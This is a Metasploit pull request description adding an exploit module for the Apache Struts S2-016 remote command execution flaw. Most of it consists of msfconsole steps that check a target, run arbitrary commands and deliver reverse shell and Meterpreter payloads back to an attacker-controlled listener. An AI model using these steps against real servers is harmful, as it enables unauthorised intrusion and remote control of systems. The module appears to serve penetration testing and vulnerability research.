rapid7/metasploit-framework — pull request #2184 by lersak (2013-08-01 18:02:00+00:00)
Title: Add Remote command execution module for Apache Struts <= 2.3.15 DefaultActionMapper vulnerability (S2-016)

This additional module demonstrates remote command execution on supported platform. See details below for more information and how to test this module. Special thank to Juan Vazquez and Sinn3r as original author of many struts exploit modules.

Current development
- [x] Support OGNL double evaluation both %{} or ${} in payload
- [x] Support three variants of DefaultActionMapper action including "action:", "redirect:" and "redirectAction:" in payload
- [x] Current platform support: Linux, Java and Mac OS X
- [ ] Add Windows platform support
- [ ] Add UNICODE support in OGNL expression

Basic initialization
```
use exploit/multi/http/struts_code_exec_default_action_mapper
set TARGETURI /struts2-showcase/skill/edit.action
set RHOST
set LHOST
```

Check target
```
check
set OGNL_EVAL %
set STRUTS_ACTION redirectAction
check
set STRUTS_ACTION redirect
check
```

Executing remote command
```
set TARGET 0
set CMD touch /tmp/test
exploit
set CMD ''
```

Executing remote command on Java Platform
```
set TARGET 2
set PAYLOAD java/meterpreter/reverse_tcp
exploit
```

Executing remote command on Mac OS X Platform
```
set LPORT 5555
set TARGET 1
set PAYLOAD osx/x86/vforkshell_reverse_tcp
exploit
```

Executing remote command on Linux Platform
```
set TARGET 0
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

Special: Deliver traditional reverse bash shell (Available on Unix platform only)
```
set TARGET 0
set PAYLOAD linux/x86/shell_reverse_tcp
set REVERSE_SHELL CMD true
exploit
```

Any comments or suggestion, kindly reach me at lersak [ @ ] gmail.com. Thank you.